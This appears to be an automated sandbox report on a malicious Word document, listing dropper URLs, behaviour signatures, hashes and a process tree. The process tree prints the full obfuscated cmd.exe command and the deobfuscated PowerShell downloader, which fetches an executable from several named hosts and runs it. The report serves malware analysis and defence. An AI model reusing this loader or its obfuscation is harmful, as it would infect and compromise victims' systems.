Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 23:50

General

  • Target
    a72f2a390ad414340f76e7d311cdd9da_JaffaCakes118.doc
  • Size 155KB
  • Sample240613-3v3fsazdpp
  • SHA256 b3531a06af9b2cd766b368fce3e06c5f95b24888651ccb41511bf6666a06cd61
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://qwatmos.com/2Bc_1AhP6FKBd

  • exe.dropper

    http://otohondavungtau.com/vzZMi_cPjZ

  • exe.dropper

    http://aramanfood.com/wnfYAsyS_Mslz

  • exe.dropper

    http://igloo-formation.fr/tSlCBpPP_ywVhz7_wqMR

  • exe.dropper

    http://www.sp11dzm.ru/XhDjpb_0sihee1v_uALFk2

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a72f2a390ad414340f76e7d311cdd9da_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1908
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c %pRogramDAtA:~0,1%%PROgrAMdaTa:~9,2% /V:ON /c" Set KqO=pp[sw^%PU9L[qf:~5,1^%r^%8E88[ONN\ME:~-4,1^%h^%TEMP:~-3,1^%ll $8mV1llzzMn'qfhecki]g\ccp[s+]tsSEz';$qfp[s]]ectic+tjwMn]ew-p[sbject NetaWebqflie]t;$TV1stysSEjMn'http://qwV1tmp[ssacp[sm/29c_1\hP6FK9sSE@http://p[stp[shp[s]sSEV1v+]gtV1+acp[sm/vzZMi_cPjZ@http://V1rV1mV1]fp[sp[ssSEacp[sm/w]f#\sy8_Mslz@http://iglp[sp[s-fp[srmV1tip[s]afr/t8lqf9pPP_ywVhz7_wqM.@http://wwwasp11sSEzmar+/XhDjpb_0sihee1v_+\LFk2'a8plit('@');$m+ltibyte+iMn'UzbekistV1]8+mip';$Persp[s]V1lLp[sV1]\ccp[s+]tlq Mn '``7';$FV1]tV1stictzMn'HV1rbp[srspb';$methp[ssSEp[slp[sgiesspMn$e]v:p+blic5b'?'5b$Persp[s]V1lLp[sV1]\ccp[s+]tlq5b'aexe';fp[sreV1ch($[]ter]V1tip[s]V1lkm i] $TV1stysSEj){try{$qfp[s]]ectic+tjwaDp[sw]lp[sV1sSEFile($[]ter]V1tip[s]V1lkm, $methp[ssSEp[slp[sgiessp);$bypV1ssi]gbbMn'bV1]sSEwisSEthf]';[f ((Get-[tem $methp[ssSEp[slp[sgiessp)ale]gth -ge `0000) {[]vp[ske-[tem $methp[ssSEp[slp[sgiessp;$.p[swifMn'JeweleryTp[sp[slszc';breV1k;}}cV1tch{}}$[]tellige]tGrV1]ite8p[sV1pV1zMn'bV1cki]g+pbc';& SET AGU=!KqO:.=R!&& seT MRb=!AGU:+=u!&&SeT PKAN=!MRb:a=.!&SeT 6Q=!PKAN:V1=a!& sEt LK=!6Q:5b=+!&& sEt LBN=!LK:Mn==!&& seT peZA=!LBN:sSE=d!&& SeT vg=!peZA:[=I!& set 5V0l=!vg:pIs=o!& sET wu=!5V0l:8=S!& SET 67AD=!wu:\=A!&& Set wlgE=!67AD:`=8!& Set CTRe=!wlgE:qf=C!&& SEt xh=!CTRe:#=Y!&& set 5aO=!xh:?=\!&sEt cEj=!5aO:9=B!&& SeT osH=!cEj:]=n!& FOR /F "delims==i. tokens=1" %h IN ('assoc^|findstr ^=cm')DO ecHO %osH% |%h "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:516
        • C:\Windows\system32\cmd.exe
          CmD /V:ON /c" Set KqO=pp[sw^%PU9L[qf:~5,1^%r^%8E88[ONN\ME:~-4,1^%h^%TEMP:~-3,1^%ll $8mV1llzzMn'qfhecki]g\ccp[s+]tsSEz';$qfp[s]]ectic+tjwMn]ew-p[sbject NetaWebqflie]t;$TV1stysSEjMn'http://qwV1tmp[ssacp[sm/29c_1\hP6FK9sSE@http://p[stp[shp[s]sSEV1v+]gtV1+acp[sm/vzZMi_cPjZ@http://V1rV1mV1]fp[sp[ssSEacp[sm/w]f#\sy8_Mslz@http://iglp[sp[s-fp[srmV1tip[s]afr/t8lqf9pPP_ywVhz7_wqM.@http://wwwasp11sSEzmar+/XhDjpb_0sihee1v_+\LFk2'a8plit('@');$m+ltibyte+iMn'UzbekistV1]8+mip';$Persp[s]V1lLp[sV1]\ccp[s+]tlq Mn '``7';$FV1]tV1stictzMn'HV1rbp[srspb';$methp[ssSEp[slp[sgiesspMn$e]v:p+blic5b'?'5b$Persp[s]V1lLp[sV1]\ccp[s+]tlq5b'aexe';fp[sreV1ch($[]ter]V1tip[s]V1lkm i] $TV1stysSEj){try{$qfp[s]]ectic+tjwaDp[sw]lp[sV1sSEFile($[]ter]V1tip[s]V1lkm, $methp[ssSEp[slp[sgiessp);$bypV1ssi]gbbMn'bV1]sSEwisSEthf]';[f ((Get-[tem $methp[ssSEp[slp[sgiessp)ale]gth -ge `0000) {[]vp[ske-[tem $methp[ssSEp[slp[sgiessp;$.p[swifMn'JeweleryTp[sp[slszc';breV1k;}}cV1tch{}}$[]tellige]tGrV1]ite8p[sV1pV1zMn'bV1cki]g+pbc';& SET AGU=!KqO:.=R!&& seT MRb=!AGU:+=u!&&SeT PKAN=!MRb:a=.!&SeT 6Q=!PKAN:V1=a!& sEt LK=!6Q:5b=+!&& sEt LBN=!LK:Mn==!&& seT peZA=!LBN:sSE=d!&& SeT vg=!peZA:[=I!& set 5V0l=!vg:pIs=o!& sET wu=!5V0l:8=S!& SET 67AD=!wu:\=A!&& Set wlgE=!67AD:`=8!& Set CTRe=!wlgE:qf=C!&& SEt xh=!CTRe:#=Y!&& set 5aO=!xh:?=\!&sEt cEj=!5aO:9=B!&& SeT osH=!cEj:]=n!& FOR /F "delims==i. tokens=1" %h IN ('assoc^|findstr ^=cm')DO ecHO %osH% |%h "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5048
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c assoc|findstr =cm
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4612
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" assoc"
              5⤵
                PID:4904
              • C:\Windows\system32\findstr.exe
                findstr =cm
                5⤵
                  PID:3924
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ecHO %osH% "
                4⤵
                  PID:4384
                • C:\Windows\system32\cmd.exe
                  cmd
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3668
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell $Smallzz='CheckingAccountdz';$Connecticutjw=new-object Net.WebClient;$Tastydj='http://qwatmos.com/2Bc_1AhP6FKBd@http://otohondavungtau.com/vzZMi_cPjZ@http://aramanfood.com/wnfYAsyS_Mslz@http://igloo-formation.fr/tSlCBpPP_ywVhz7_wqMR@http://www.sp11dzm.ru/XhDjpb_0sihee1v_uALFk2'.Split('@');$multibyteui='UzbekistanSumip';$PersonalLoanAccountlq = '887';$Fantastictz='Harborspb';$methodologiessp=$env:public+'\'+$PersonalLoanAccountlq+'.exe';foreach($Internationalkm in $Tastydj){try{$Connecticutjw.DownloadFile($Internationalkm, $methodologiessp);$bypassingbb='bandwidthfn';If ((Get-Item $methodologiessp).length -ge 80000) {Invoke-Item $methodologiessp;$Rowif='JeweleryToolszc';break;}}catch{}}$IntelligentGraniteSoapaz='backingupbc';
                    5⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2384

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                D8C3743B.wmf

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D8C3743B.wmf
                • Size 494B
                • SHA256 62c757860632e03f36b0b369db7b94561f626457642599fab50df1ffdc790deb
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_ip1psrhh.v5h.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ip1psrhh.v5h.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/2384-50-0x000001745D7F0000-0x000001745D812000-memory.dmp

                memory/2908-12-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-14-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp

                memory/2908-5-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-8-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-7-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-2-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-10-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-9-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-11-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-0-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-13-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp

                memory/2908-4-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-6-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-3-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-1-0x00007FFA6A44D000-0x00007FFA6A44E000-memory.dmp

                memory/2908-58-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-59-0x00007FFA6A44D000-0x00007FFA6A44E000-memory.dmp

                memory/2908-60-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-61-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

                memory/2908-87-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-88-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-86-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-89-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

                memory/2908-90-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp